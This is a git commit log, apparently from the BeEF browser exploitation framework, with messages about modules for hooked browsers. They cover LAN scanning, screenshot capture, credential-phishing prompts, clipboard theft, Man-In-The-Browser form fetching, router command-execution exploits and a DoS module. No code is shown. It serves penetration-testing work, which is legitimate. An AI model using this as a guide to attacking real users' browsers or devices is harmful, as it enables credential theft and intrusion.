ae2488e7bd Working on repeated snapshot taking. At the moment, this will result in multiple screenshots being stored in the file system, but the module will present only the most recent one in WebGUI. Which is not exactly what I wanted to accomplish 2016-04-14 16:14:33 +02:00
mgeeky
ad4cb31864 Oops, forgot to remove those debugging alerts 2016-04-14 15:35:25 +02:00
mgeeky
d58f979395 Update html2canvas component in the spyder_eye module from 0.4 to 0.5.0-alpha1 which resulted in much more detailed screenshot, as can be seen in: http://imgur.com/a/Sm9OG . Also, armored a bit the code running in the zombie' browser. Branch is called 'get_snapshot' as I didn't know that there is already a module utilizing terrific html2canvas. 2016-04-14 15:31:08 +02:00
mgeeky
9ebb5abe18 Added exception handling in some subtle conditions when Javascript minifying could fail (as it happened to me once)w 2016-04-13 21:42:32 +02:00
mgeeky
010867cf24 Added three new Autorun rules 2016-04-13 21:38:25 +02:00
Brendan Coles
51b13fdffb Merge pull request #1246 from spaze/new_google_logo
Update Google logo and Gmail favicon for the September 2015 version
2016-04-12 12:54:45 +10:00
Michal Špaček
ec81edf542 Update Google logo and Gmail favicon for the September 2015 version
The login box grayscale logo is gone completely because I couldn't find a newer version of it
2016-04-12 02:53:34 +02:00
Brendan Coles
47f7812df4 Clean up basic demo page 2016-04-10 17:27:18 +00:00
Brendan Coles
cabb01875f Update supported browsers 2016-04-10 16:59:27 +00:00
Brendan Coles
31b3346fcb Add ARE status 2016-04-10 16:03:13 +00:00
Brendan Coles
254032594f Add signature 2016-04-10 15:34:33 +00:00
Brendan Coles
7b04358871 Add support for HTTPS 2016-04-10 15:32:34 +00:00
Brendan Coles
8cc5e8b236 Allow comma separated list of IPs and ranges as input 2016-04-09 06:36:28 +00:00
Brendan Coles
fa1e32c046 Use SWFObject library for cross_origin_scanner_flash 2016-04-08 16:25:52 +00:00
Brendan Coles
9a1eccd066 Remove example module 2016-04-07 14:03:07 +00:00
Brendan Coles
371f27e5e1 Merge pull request #1241 from mgeeky/master
Couple of fixes & improvements
2016-04-07 23:42:19 +10:00
mgeeky
261c9ee5aa Changed default custom domains variable to a safe-for-work one. :-) 2016-04-07 14:25:22 +02:00
mgeeky
d5e041e3e3 Added 'top' ports scannig set according to Fyoodr's nmap-realted resarch (gathered from nmap-services) 2016-04-06 12:03:58 +02:00
Brendan Coles
313d6593ca Update supported browsers 2016-04-05 15:47:00 +00:00
Brendan Coles
c9a623cd9f Use parseInt for integer options 2016-04-05 15:45:10 +00:00
Brendan Coles
c1558878aa Add ARE rules for scanning common LAN IPs 2016-04-04 13:17:10 +00:00
Brendan Coles
969db8b2ea Add client-side debugging 2016-04-04 10:36:40 +00:00
Brendan Coles
37f536fc12 Add wait option to Flash scanner 2016-04-04 10:15:41 +00:00
Brendan Coles
7b96212876 Add wait option to CORS scanner 2016-04-04 10:02:49 +00:00
antisnatchor
3bcf1b66cd Pad timestamp values date in client-side logging 2016-04-04 11:16:11 +02:00
antisnatchor
b1d48b7492 Additiona nil check when triggering ARE rules on WS. 2016-04-04 11:14:57 +02:00
antisnatchor
dd0a10bda5 Use anonymous function in setTimeout when executing sequential ARE rules. Added ARE rule for lan fingerprint using common IPs. 2016-04-04 10:20:09 +02:00
antisnatchor
8bcae3e30b Revmoed commented testing line 2016-04-03 15:18:56 +02:00
antisnatchor
458985cf84 Merge branch 'master' of https://github.com/beefproject/beef 2016-04-03 15:16:30 +02:00
antisnatchor
c700bb3013 Added ws_connect_timeout option to delay of 500 ms the establishment of the WS channel. This is needed to wait for browser fingerprinting to finish, in order to have all the info needed for triggering ARE rules using WS channel. 2016-04-03 15:16:14 +02:00
Brendan Coles
899d566fe7 Add timestamp to client-side debug messages 2016-04-02 17:04:32 +00:00
Brendan Coles
127942b60d Decrease workers and timeout 2016-04-02 13:32:04 +00:00
Brendan Coles
6162b6eb41 Merge branch 'master' of https://github.com/beefproject/beef 2016-04-02 11:49:12 +00:00
antisnatchor
309bbe4859 Merge branch 'master' of https://github.com/beefproject/beef 2016-04-02 13:06:31 +02:00
antisnatchor
edb44644fc Now ARE rules are triggered also when using the WebSocket channel. 2016-04-02 13:05:58 +02:00
antisnatchor
4f5e7ddfb6 Renamed ARE rule. 2016-04-02 12:27:13 +02:00
Brendan Coles
c3b88ce832 Add additional paths for WPAD 2016-04-02 08:06:36 +00:00
Brendan Coles
d390f24730 Add Tor Browser fingerprint 2016-04-02 07:48:05 +00:00
Brendan Coles
d0255d6e9c Add timeout option to beef.net.cors.request 2016-04-02 07:04:40 +00:00
Brendan Coles
ffb15892a4 Add timeout option to beef.net.cors.request 2016-04-02 06:46:23 +00:00
Brendan Coles
26e1672227 Use default options 2016-04-02 06:14:35 +00:00
antisnatchor
41c9589ef1 Removed rules enabled by mistake. 2016-04-01 17:36:44 +02:00
antisnatchor
c091ff9bc2 Merge branch 'master' of https://github.com/beefproject/beef 2016-04-01 14:14:56 +02:00
antisnatchor
5e7342e1bd Added Brave browser detection. 2016-04-01 14:14:13 +02:00
mgeeky
ede4ce46d6 Extend Get Visited Domains module's description to include format of the visited domains text box 2016-03-31 12:29:08 +02:00
mgeeky
617a30f80e Added functionality to specify custom static resources paths for Get Visited Domains module. 2016-03-31 12:25:27 +02:00
antisnatchor
c1137b5cc8 Merge pull request #1230 from derrend/patch-1
Update INSTALL.txt with Ubuntu instructions
2016-03-31 10:18:37 +02:00
antisnatchor
e772e683fd Issue #1214. Now command module post_execute is honoured also with WebSockets channel. 2016-03-31 09:56:40 +02:00
antisnatchor
9905756c0a Additional fix related to #1210 (removing leading/trailing doubel quotes from the command results if channel is WebSocket) 2016-03-31 08:03:06 +02:00
antisnatchor
39a010fa63 Fixes #1210 2016-03-30 12:30:11 +02:00
Brendan Coles
9d1b645fdb Update ISSUE_TEMPLATE.md 2016-03-29 20:34:25 +11:00
Brendan Coles
08a83437a0 Add GitHub issue template 2016-03-29 09:28:18 +00:00
Brendan Coles
962684b99e Add support for Firefox 46 2016-03-29 09:04:02 +00:00
Brendan Coles
98873e44a6 Add .travis.yml 2016-03-26 01:13:49 +00:00
Brendan Coles
0efd7bbaab Update Gemfile.lock 2016-03-26 01:10:23 +00:00
Brendan Coles
2e8f9de9f5 Update issues URL 2016-03-26 01:08:35 +00:00
Brendan Coles
802e470dba Merge pull request #1234 from cybernet/patch-1
tiny change
2016-03-26 12:04:24 +11:00
cybernet
47c3a5e1a4 tiny change 2016-03-26 02:26:59 +02:00
Brendan Coles
43a797b36a Re-order BeEF::Filters.is_valid_ip arguments with optional last 2016-03-25 20:58:17 +00:00
Brendan Coles
4dde171c4f Use base64 for module inputs instead of gsub 2016-03-21 19:41:02 +00:00
Brendan Coles
b6f9daf780 Merge pull request #1232 from mgeeky/master
Bug fixes + additional options
2016-03-22 05:56:53 +11:00
Brendan Coles
d8ce153bb4 Add Netgear DGN2200 Command Execution module 2016-03-20 21:30:20 +00:00
Brendan Coles
264c203a7e Change BeEF::Filters::is_valid_yes_no to be case insensitive 2016-03-20 16:33:57 +00:00
Brendan Coles
6eccbbe1a6 Rename docs to doc 2016-03-20 16:31:14 +00:00
Brendan Coles
2fde87a19b Update comments 2016-03-20 16:29:56 +00:00
Brendan Coles
9d8d1c28a1 Add rdoc rake task 2016-03-20 15:38:35 +00:00
Brendan Coles
4409599d1a Add support for Firefox 45 2016-03-16 14:50:06 +00:00
antisnatchor
c5bcba37f2 Verify if ARE module exec_order and exec_delay values are consistent with ARE modules number. 2016-03-14 16:51:06 +01:00
antisnatchor
85b1afb861 Fixed #1203 Now wrapping function names are appended with 8 bytes of random hexchars, to prevent name collisions. The rule_token "seed" is also stored in the ARE Execution table. 2016-03-14 16:43:59 +01:00
antisnatchor
d84c8ef976 Added support for Chrome 49. 2016-03-14 14:56:33 +01:00
Derren Desouza
80fe18c32c Update INSTALL.txt with Ubuntu instructions
Updated with installation script for Ubuntu based systems. The script may be copied and pasted in full into a terminal session and to run as a single command.
2016-03-11 12:33:07 +10:00
mgeeky
a677e9c746 Added checkbox specyfing whether to create a pop-under at user's tab closing event (module confirm_close_tab). Also extracted static confirmation message to the module's options. 2016-03-08 15:32:36 +01:00
mgeeky
8ab9716a44 Firefox has forbidden access to the chrome:// scheme rendering "Detect Extensions" module useless. The code has been trying to fingerprint installed extensions by creating image which would load extension-specific url and then in onload' event would send such information to the BeeF server. Unfortunately there was no code handling onerror' situation, therefore end user wasn't getting any status from this module (stating that it failed). The below commit adds such functionality. 2016-03-08 14:49:29 +01:00
mgeeky
faddd76de0 Added try..catch to avoid looped mozRTCSessionDescription undefined exceptions in Firefox (as occured in 43.0). Shouldn't do much havoc I guess. 2016-03-07 18:20:08 +01:00
mgeeky
e14b5f953a Modified the Man-In-The-Browser logic of building query string in form fetching. Previous implementation couldn't handle properly option and submit parameters, therefore a MITB-ed user wasn't sending correct query string which should include those two more fields. For instance, bWAPP application (by IT SEC Games) makes choosing a bug to exploit by submitting form consisting of an option and <button> with type=submit. With this patch an user behind MITB will be able to successfully fetch the form and thus proceed to the next bug. 2016-03-07 18:01:37 +01:00
antisnatchor
815eff8d4e Merge pull request #1220 from ilatypov/master
Delay form submission to allow the Javascript event loop complete the…
2016-02-18 15:51:00 +01:00
antisnatchor
39ca52ae8b Merge pull request #1221 from Und3rf10w/patch-1216
Update loader.rb to include optparse
2016-02-18 15:49:44 +01:00
Jonathan Echavarria
f1eb8c8723 Update loader.rb
Includes fixes for #1216 by loading the 'optparse' library
2016-02-17 09:29:11 -05:00
Ilguiz Latypov
d81db24912 Delay form submission to allow the Javascript event loop complete the transfer of the log. #1215 2016-02-15 16:02:06 -05:00
Brendan Coles
b8afb0e855 Add WS timer to banner 2016-02-13 10:00:47 +00:00
Brendan Coles
d110675c0f Revert 96dfde519a 2016-02-13 09:53:23 +00:00
Brendan Coles
7a668abc0a Update ARE to support Evasion extension - Fix #1219 2016-02-13 07:09:00 +00:00
Brendan Coles
60f046c775 Update jquery version in evasion exclude_core_js 2016-02-13 06:49:54 +00:00
Brendan Coles
d0ca66cbf5 Decrease workers and increase timeout 2016-02-12 14:38:42 +00:00
Brendan Coles
13fded460e assert_equal <expected>,<actual> 2016-02-12 13:59:50 +00:00
Brendan Coles
96dfde519a Remove JSON.stringify(results) from beef.websocket.send - Fix #1210 2016-02-12 13:25:39 +00:00
Brendan Coles
d1d7371ccf Disable console extension 2016-02-12 13:10:23 +00:00
Brendan Coles
ca288fef9f Update gems 2016-02-12 11:23:29 +00:00
Brendan Coles
1a16837182 Remove win32console gem dependency for Windows 2016-02-12 11:03:29 +00:00
Brendan Coles
afd48d8a5f Advise console extension is unavailable 2016-02-12 08:32:00 +00:00
Brendan Coles
8e5991784f Add ARE return status 2016-02-11 12:37:48 +00:00
Brendan Coles
bef0c6dcdd Add support for Windows 10 2016-02-10 07:40:28 +00:00
Brendan Coles
85d87f47b5 Remove HTTP method from beef.dom.persistentIframe - Fix #1211 2016-02-09 14:05:35 +00:00
Brendan Coles
8697c81ffa Replace eval with hard-coded strings 2016-02-08 08:29:52 +00:00
Brendan Coles
fa8464bdd9 Update supported browsers 2016-02-08 03:59:25 +00:00
Brendan Coles
5065a55238 Add lan_http_scan ARE rule 2016-02-07 13:19:35 +00:00
Brendan Coles
bb8fe9d8f8 Fix icon 2016-02-07 12:20:53 +00:00
Brendan Coles
7e6e3bc51d Add lan_flash_scan ARE rule 2016-02-07 12:20:04 +00:00
Brendan Coles
848dc65c6f Add cross_origin_scanner_flash module 2016-02-07 11:20:55 +00:00
Brendan Coles
321aff56f3 Rename cross_origin_scanner to cross_origin_scanner_cors 2016-02-07 10:53:32 +00:00
Brendan Coles
eb9e0a0a68 Add ARE return status 2016-02-07 01:01:02 +00:00
Brendan Coles
83e1f596de unless 2016-02-06 08:04:29 +00:00
Brendan Coles
dde8034606 Use 'Unknown' if BrowserPlatform is null 2016-02-05 04:25:23 +00:00
Brendan Coles
1715113ffa Update Ruby version requirement to 2.0 2016-02-04 09:39:59 +00:00
Brendan Coles
6e157e163f Update therubyracer link 2016-02-04 09:34:12 +00:00
Brendan Coles
ac1b51bbb2 Use groups in Gemfile 2016-02-04 09:32:55 +00:00
Brendan Coles
989d6de65a Check ENV['LANG'] for UTF-8 compatibility 2016-02-04 07:51:45 +00:00
Brendan Coles
9e0ccf71bb Change /api/modules/multi_browser to accept 'ALL_ONLINE' for 'hb_ids' 2016-02-04 00:49:29 +00:00
Brendan Coles
8e3264e750 Change names 2016-02-03 22:57:33 +00:00
Brendan Coles
f4ff606cbf Change /api/modules/multi_browser to accept 'ALL' for 'hb_ids' 2016-02-02 21:50:08 +00:00
Brendan Coles
efe8961dfa Fix file path - Fix #1204 2016-02-02 01:40:26 +00:00
Brendan Coles
5507447661 Hide ARE rule processing output unless debugging 2016-02-01 18:42:21 +00:00
Brendan Coles
efb99f9e98 Add command module ID to module response log message 2016-02-01 14:18:24 +00:00
Brendan Coles
39df7184aa Add Clear Console module 2016-01-31 20:29:45 +00:00
Brendan Coles
ff50dc9c4a Add lan_fingerprint ARE rule 2016-01-31 20:27:44 +00:00
Brendan Coles
623db6229e Add lan_cors_scan ARE rule 2016-01-31 20:27:14 +00:00
Brendan Coles
e462e504fb Add support for ARE rules with multiple browsers 2016-01-31 20:26:35 +00:00
Brendan Coles
fefcef6fb0 Update support for Chrome 2016-01-31 20:09:45 +00:00
Brendan Coles
14531f782a Remove OS requirement 2016-01-30 17:34:20 +00:00
Brendan Coles
798e79b55f Add Midori logo 2016-01-30 15:03:00 +00:00
Brendan Coles
85106b98de Add Odyssey logo 2016-01-30 14:14:05 +00:00
Brendan Coles
9e7f36c113 Re-indent 2016-01-30 13:56:22 +00:00
Brendan Coles
e947acc69b Add AROS logo 2016-01-30 13:54:24 +00:00
Brendan Coles
41b5b8fd06 Use Ruby 2.1.5 2016-01-29 16:50:01 +00:00
Brendan Coles
041ce83c74 Update Gemfile.lock 2016-01-29 16:42:45 +00:00
Brendan Coles
485049f4c8 Version check to ensure BeEF is running Ruby 2.0+ 2016-01-29 16:25:16 +00:00
Brendan Coles
5a1b64b97b Remove unused match_browser function 2016-01-27 19:58:26 +00:00
Brendan Coles
6625a2bd29 Fix browser details nil window/screen size bug 2016-01-27 19:25:06 +00:00
Brendan Coles
39f8916547 Update config 2016-01-27 19:13:06 +00:00
Brendan Coles
e7490a33c3 Add support for AROS 2016-01-27 19:07:57 +00:00
Brendan Coles
2d2edc6858 Add support for Odyssey browser 2016-01-27 19:06:36 +00:00
Brendan Coles
5b5a1b84b9 Clean up zombie hash 2016-01-27 18:14:19 +00:00
Brendan Coles
4719c50b17 Add support for Firefox 44 2016-01-27 17:33:23 +00:00
Brendan Coles
d1584f3f54 Add support for Midori browser 2016-01-27 17:29:01 +00:00
Brendan Coles
19563d696f Save command status when using websockets - Fix #1200 2016-01-27 16:50:51 +00:00
Brendan Coles
96716e248a Add hard-coded module result status 2016-01-27 16:38:04 +00:00
Brendan Coles
47c1bd29aa Fix ARE rule length check 2016-01-26 15:33:57 +00:00
Brendan Coles
b0bf1c0c21 Change Metasploit ssl_version from TLSv1 to TLS1 2016-01-25 11:21:40 +00:00
Brendan Coles
62b2e34320 Update shocker-cgi_list 2016-01-25 09:58:22 +00:00
Brendan Coles
b2cf94483c Update Gemfile.lock 2016-01-25 08:10:55 +00:00
Brendan Coles
bea6ccda73 Update comments and use SSL/TLS by default 2016-01-21 15:52:48 +00:00
Brendan Coles
439040a89e Skip ARE if no rules specified 2016-01-21 08:09:55 +00:00
Brendan Coles
5903f026ea Add Resource Exhaustion DoS module 2016-01-21 08:09:13 +00:00
Brendan Coles
fc12c61e5f Rename Airdrone module to Airdroid 2016-01-13 22:47:33 +00:00
Brendan Coles
f3f04a50ca Add error handling, more output and debug output 2016-01-13 22:05:48 +00:00
Brendan Coles
e252fa51c5 Replace .catch() with .then() - Fix #1192
as per: https://github.com/webrtc/adapter/issues/133
2016-01-13 07:25:17 +00:00
Brendan Coles
e5f59f2df6 Update Gemfile.lock 2016-01-01 16:31:32 +00:00
Brendan Coles
12209714bc Remove uglifier version requirement 2016-01-01 16:29:32 +00:00
Wade Alcorn
ce01d9fa46 updated copyright year 2015-12-30 08:11:57 +10:00
Brendan Coles
ebbdbe0b51 Update context menu 2015-12-23 11:15:36 +00:00
Brendan Coles
6ba1074695 Prevent duplicates 2015-12-23 11:14:55 +00:00
Brendan Coles
dc9b4d3214 Add method to remove network host 2015-12-19 05:55:36 +00:00
Brendan Coles
d9cb64e1cb successfully 2015-12-19 04:57:50 +00:00
Brendan Coles
dea18f8718 Update Ruby version to 2.2.4 2015-12-19 03:58:47 +00:00
Brendan Coles
5d8393822f Remove Identify LAN Subnets from Network extension 2015-12-19 03:22:01 +00:00
Brendan Coles
976b875639 Update description 2015-12-16 15:55:33 +00:00
Brendan Coles
0f0a4d90b3 Add SunOS detection 2015-12-16 15:15:38 +00:00
Brendan Coles
83a4b532aa print_error 2015-12-15 09:50:14 +00:00
Brendan Coles
db9b3e1f0e Add Get ntop Network Hosts module 2015-12-15 09:11:26 +00:00
Brendan Coles
666f3d0ea3 Add context menu to Rider history panel 2015-12-14 17:55:30 +00:00
Brendan Coles
61a9b94ca1 Add webrtc unit test stub 2015-12-14 17:01:26 +00:00
Brendan Coles
ebd2fa6088 Add console unit test stub 2015-12-14 16:57:31 +00:00
Brendan Coles
11a7d56584 Exit cleanly on console history log mkdir failure 2015-12-14 16:19:40 +00:00
Brendan Coles
7ce85776cc Update butcher demo jQuery to 1.11.3 2015-12-14 15:03:58 +00:00
Brendan Coles
10d79b9a71 Add proto to Requester history and add SSL checkbox to Forge Request 2015-12-14 12:43:39 +00:00
Brendan Coles
95abdf6781 Add 'proto' property to Requester HTTP model 2015-12-14 12:40:34 +00:00
Brendan Coles
e354ab8045 Add support for request.proto to beef.net.forge_request 2015-12-14 12:38:41 +00:00
Brendan Coles
49f648c0c7 Add Disable Developer Tools module 2015-12-13 22:01:43 +00:00
Brendan Coles
0226a91048 Add Get Network Connection Type module 2015-12-13 21:49:21 +00:00
Brendan Coles
cb4df3a72c Validate beef.net.connection.type value 2015-12-13 21:43:29 +00:00
Brendan Coles
06e9c6024b Add ignore_public_ips option to Network extension 2015-12-13 09:26:55 +00:00
Brendan Coles
852e0b4595 Add Discover Proxies option to Network extension UI 2015-12-13 09:25:34 +00:00
Brendan Coles
5738e08ba0 Rename and update asus_rt_series_get_info 2015-12-13 07:08:09 +00:00
Brendan Coles
575bbd6560 Update clipboard theft module 2015-12-13 06:54:48 +00:00
Brendan Coles
ea8d331b47 Add BeEF::Filters.is_valid_private_ip() 2015-12-13 06:51:40 +00:00
Brendan Coles
28cd84c558 Add ARE status to module response 2015-12-12 19:08:09 +00:00
Brendan Coles
9dd468d10f Default to 'ALL' for browser, browser_version, os, os_version if unspecified 2015-12-12 18:49:02 +00:00
Brendan Coles
09b2dd9151 Add ntop signature 2015-12-12 18:46:07 +00:00
Brendan Coles
951e694251 Fix Skype XSS module class name 2015-12-12 18:45:14 +00:00
antisnatchor
f6e96937d3 Merge pull request #1160 from hiburn8/master
added a WP module
2015-12-10 15:19:07 +01:00
antisnatchor
1758383bc4 Merge pull request #1179 from atilaromero/patch-1
Fix "ALL" comparison for browser and os
2015-12-10 15:17:52 +01:00
antisnatchor
00e97cc3dc Merge pull request #1185 from beefproject/SkypeXSS
Skype xss
2015-12-10 15:15:17 +01:00
antisnatchor
e4afd12a9b Fixed Flash detection on IE11, thanks @badbob as this was originally part of his pull request which I haven't merged earlier ;-) 2015-12-10 15:00:02 +01:00
Brendan Coles
2999142247 Add support for Firefox 43 2015-12-10 13:05:16 +00:00
antisnatchor
d585f3ab24 Added RESTful API call to update os/os_version/arch of a specific browser (useful in MITM scenarios where you have more powerful tools than browser/JS to fingerprint) 2015-12-02 14:35:55 +01:00
antisnatchor
7b1b3ef06c Moved PhishingFrenzy integration code check before ARE/network 2015-12-02 14:35:08 +01:00
antisnatchor
0c68b3235f Added support for Chrome 47 2015-12-02 14:03:10 +01:00
Brendan Coles
f893808003 raise InvalidParamError 2015-11-28 09:14:44 +00:00
Brendan Coles
21176eb9ac Add status bar messages for WebRTC 2015-11-28 05:51:41 +00:00
Brendan Coles
b8b99ed044 Fix status bar 2015-11-28 01:47:13 +00:00
Christian Frichot
27c7e76554 Updated WebRTC extension with AdminUI enhancements and arbitrary command module execution 2015-11-27 11:00:35 -08:00
Brendan Coles
78a30bde15 Add support for Firefox 42 2015-11-03 21:51:03 +00:00
antisnatchor
d017bdc585 is_valid_hostname now accepts also FQDNs with double dash or dot (although technically wrong as per RFC, some registrants allow them). 2015-10-25 15:06:55 +01:00
antisnatchor
5dbfe37480 Added support for Chrome 46 2015-10-25 14:50:19 +01:00
Atila Romero
09ff1f5f0a Update engine.rb 2015-10-23 16:50:13 -02:00
Brendan Coles
98a3ae930b Add NetworkHost :lastseen to console 2015-10-11 10:42:55 +00:00
Brendan Coles
6d2cf5efe2 Add Get Proxy Servers (WPAD) module 2015-10-11 10:29:34 +00:00
Brendan Coles
4c62d4af58 Remove hackvertor 2015-10-11 10:24:50 +00:00
Brendan Coles
ea039379ff Merge pull request #1150 from innoying/patch-1
Add IPv6 Support to get_internal_ip_webrtc command
2015-10-11 20:54:09 +11:00
Atila Romero
8626b1b275 Fix "ALL" comparison for browser and os
The correct is to check if the *rule.browser* has the tag "ALL", not if the browser was identified as "ALL", which of course never happen.
Before this fix, using "ALL" in a ARE rule makes it be never called.
2015-10-06 11:01:30 -03:00
antisnatchor
277c87db5b Merge pull request #1177 from bcoles/vis.js
Add vis.js to Admin UI
2015-10-05 13:53:17 +02:00
antisnatchor
5d2bdf4f39 Merge pull request #1178 from bcoles/network_map
Network Map
2015-10-05 13:52:48 +02:00
Brendan Coles
a3a802a390 Add Network Map tab to Admin UI 2015-10-04 09:14:31 +00:00
Brendan Coles
68e422517a Add Network Map assets 2015-10-04 09:13:17 +00:00
Brendan Coles
493622bdcc Add vis.js to Admin UI 2015-10-04 08:37:26 +00:00
Brendan Coles
cfc39edb54 return 2015-10-04 08:35:53 +00:00
Brendan Coles
9386fa28e7 Add beef.net.connection client methods 2015-10-03 14:27:27 +00:00
Brendan Coles
6a2d3fa223 Check browser plugins in beef.browser.hasJava() 2015-10-03 13:19:33 +00:00
Brendan Coles
14c235b44b Merge pull request #1170 from Compewter/master
Add logic for beef.browser.javaEnabled function
2015-10-03 23:02:51 +10:00
Brendan Coles
1626e801c2 Add :lastseen property to NetworkHost model 2015-10-02 00:13:08 +00:00
Brendan Coles
5f5181f51b Add Detect Burp module 2015-10-01 07:57:27 +00:00
Brendan Coles
ed321bf5ec Remove :cid property from Network extension data models 2015-09-30 07:20:29 +00:00
Brendan Coles
cc3b10b889 Add support for Firefox 41 2015-09-30 06:59:34 +00:00
Brendan Coles
48493812d5 Add support for Chrome for iOS versions 43, 44, 45 2015-09-30 04:58:04 +00:00
Brendan Coles
f685f4a0a9 Add support for Chrome 45 2015-09-30 01:10:21 +00:00
Brendan Coles
31361a3191 Merge pull request #1175 from xxbinxx/master
URL performance enhanced with user content security
2015-09-30 09:07:35 +10:00
Brendan Coles
00afced5f1 Use opts[:ssl_version] 2015-09-29 06:27:45 +00:00
Bineet kumar gaur
a2564a504e URL replaced 2015-09-29 10:45:43 +05:30
Bineet kumar gaur
f23a384ead faster URL load... no delay 2015-09-29 10:44:36 +05:30
Bineet kumar gaur
696fd5c7c1 No https redirection... direct hit url with curl 2015-09-29 10:41:30 +05:30
Bineet kumar gaur
70f787ee57 URL changed to faster load 2015-09-29 10:40:15 +05:30
Brendan Coles
6e229a28cf Merge pull request #1141 from qswain2/IOS-pretty-theft
IOS pretty theft
2015-09-29 12:55:03 +10:00
Brendan Coles
cd55779d35 Merge pull request #1172 from n00py/master
Add Linksys E2500 router exploits
2015-09-16 23:58:52 +10:00
n00py
4852f0d861 linksyse2500 2015-09-16 01:57:23 -07:00
Michael Wetherald
2eae689bf1 Add logic for beef.browser.javaEnabled function 2015-09-13 22:28:51 -07:00
Brendan Coles
f17ea36ca3 Rescue DNS server port unavailable - Fix #1166 2015-09-13 16:24:18 +00:00
Brendan Coles
fe8aacecf4 Add Ipec unit test stub - Fix #586 2015-09-09 18:51:40 +00:00
Brendan Coles
3ef47151b5 Add XssRays unit test stub - Fix #578 2015-09-09 18:50:50 +00:00
Brendan Coles
091841fc1a Add QRcode extension unit test stub 2015-09-09 18:47:11 +00:00
Brendan Coles
9a0a36176f Add Proxy unit tests - Fix #30 2015-09-09 07:41:56 +00:00
Brendan Coles
44c5c73f97 Add Requester unit tests - Fix #29 2015-09-09 07:40:36 +00:00
Brendan Coles
ae1fa3e958 Rescue missing SSL cert/key files 2015-09-09 07:36:45 +00:00
Brendan Coles
07f61ff5f0 Add 'Target URI' module option 2015-09-01 14:02:19 +00:00
Brendan Coles
20fff8283f Merge pull request #1162 from byt3bl33d3r/master
added extensions/admin_ui/media/javascript-min/ to .gitignore
2015-09-01 22:53:10 +10:00
byt3bl33d3r
301d3a88a5 added extensions/admin_ui/media/javascript-min/ to .gitignore 2015-09-01 14:43:12 +02:00
Daniel Reece
99367bb619 added a WP module 2015-08-31 23:49:32 +01:00
Brendan Coles
1eb1be2adf Merge pull request #1156 from bcoles/blockui
Add jQuery BlockUI plugin to hook
2015-08-25 22:44:18 +10:00
Brendan Coles
4391a856ac Replace eval with compare_versions 2015-08-22 19:46:07 +00:00
Brendan Coles
02ff6a9313 var 2015-08-22 19:41:28 +00:00
Brendan Coles
f1d1e0f176 Update gem rest-client to ~> 1.8.0 2015-08-22 18:06:25 +00:00
Brendan Coles
cfd1584d0c Add autopwn URL validation 2015-08-22 18:03:10 +00:00
Brendan Coles
2b19c2dd13 Add Proxy integration tests - Fix #30 2015-08-22 10:56:13 +00:00
Brendan Coles
8f683e6d0f Add Proxy REST /api/proxy/setTargetZombie 2015-08-22 10:47:04 +00:00
Brendan Coles
b89ca6baa3 Add jQuery BlockUI plugin to hook 2015-08-18 13:47:09 +00:00
Brendan Coles
bbeeabdffe Add bundle-audit Rake tasks
Thanks @cwest !

Source: http://caseywest.com/run-bundle-audit-from-rake/
2015-08-18 04:35:32 +00:00
Brendan Coles
fbdbfd4896 Use HTTPS for rubygems.org source 2015-08-18 03:27:27 +00:00
Brendan Coles
e06198c320 Use ignore_headers in proxy 2015-08-16 11:29:30 +00:00
Brendan Coles
cf2f1093a7 Add support for Firefox 40 2015-08-15 06:59:15 +00:00
Brendan Coles
e22c5ea7e2 Use beef.debug in deployJava.js 2015-08-04 14:58:34 +00:00
antisnatchor
050cc3edfd Fixed #1151 2015-07-30 10:46:12 +02:00
Luke Young
bbcf3776ce Add IPv6 Support to get_internal_ip_webrtc command
This update adds support for IPv6 to the RTCPeerConnection revealing internal IPv6 addresses as well.
2015-07-29 13:24:58 -07:00
antisnatchor
d34f97c4cb Fixed #1147 (introduced with one of the latest commits :-) 2015-07-29 16:19:07 +02:00
antisnatchor
605a71d38a cutting string with [start..end] rather than split() for more accurate parsing. 2015-07-29 11:13:03 +02:00
antisnatchor
520d62a3f9 Reduced browser/os_version max length to 15 chars. 2015-07-29 10:59:27 +02:00
antisnatchor
39d85d4b53 Added TODO for better cpu detection on != Win 2015-07-29 10:41:02 +02:00
antisnatchor
568f63f13d Refactored the cpu detection JS code. Now starts to detect if the target is 64 bit, then moves to the other checks. 2015-07-29 10:25:32 +02:00
antisnatchor
157fd4104b Added code comments about eval usage :-) 2015-07-28 14:12:27 +02:00
antisnatchor
4d0f1981c2 Added RESTful API calls to delete and list rulesets. 2015-07-28 11:41:46 +02:00
antisnatchor
b81f7c6953 Small changes in some rulesets, fixed old code comments. 2015-07-28 10:29:50 +02:00
antisnatchor
031f587421 Removed fixed TODOs 2015-07-27 16:38:03 +02:00
antisnatchor
4334dd1e54 Using same variable convention for consistency 2015-07-27 15:49:12 +02:00
antisnatchor
6f5b025acc Added more restrictions on browser/os version definitions 2015-07-27 14:02:20 +02:00
antisnatchor
e3a20adeb0 Re-added config object 2015-07-27 13:29:47 +02:00
antisnatchor
b7788d6fe5 Cleaned rules. 2015-07-27 12:31:37 +02:00
antisnatchor
3c80da5776 Added support for Chrome 44 2015-07-27 12:21:44 +02:00
antisnatchor
a2d4def983 Added readme for ARE enabled rules folder, removed jools test stuff 2015-07-27 10:45:35 +02:00
antisnatchor
bdecbd21a0 Merged changed from master branch, disabled ARE rules by default. 2015-07-27 10:44:51 +02:00
antisnatchor
c84e1b88ac Autorun Rule Engine from @antisnatchor with love (alpha version). 2015-07-27 10:34:58 +02:00
Brendan Coles
fa2f175400 Replace 'console.log' with 'beef.debug' 2015-07-24 07:50:53 +00:00
qswain2
fb19af6705 Fix 404 for linkedin logo in pretty theft 2015-07-20 20:25:59 -04:00
qswain2
46b632e316 Add IOS option to pretty theft
Adds option to display a prompt styled like
an IOS application. Port of POC example used
by jansoucek's IOS Mail injection POC
2015-07-20 19:39:19 -04:00
Brendan Coles
1f00c396c6 Replace console.log with beef.debug 2015-07-19 10:36:59 +00:00
Brendan Coles
799e5d9626 Use local dropper URL 2015-07-19 10:32:04 +00:00
antisnatchor
7cb94386fe Merge branch 'dns-rebinding'
Merging pull request #1105, including some bug fix.
2015-07-19 11:28:47 +02:00
antisnatchor
51cc5963fa Replaced system with IO.popen to prevent an unlikely RCE, and also added additional checks. 2015-07-19 11:24:53 +02:00
Michele Orru
dfd2baafcd Merge pull request #1124 from auraltension/master
Config file should not be relevant to beef install dir
2015-07-19 10:48:53 +02:00
Michele Orru
6c10377112 Merge pull request #1132 from byt3bl33d3r/master
Added .ruby-gemset and .ruby-version for rvm
2015-07-19 10:47:45 +02:00
Michele Orru
f617422be2 Merge pull request #1140 from redknight99/patch-1
Update Install.txt
2015-07-19 10:46:24 +02:00
redknight99
56a013b06f Update Install.txt
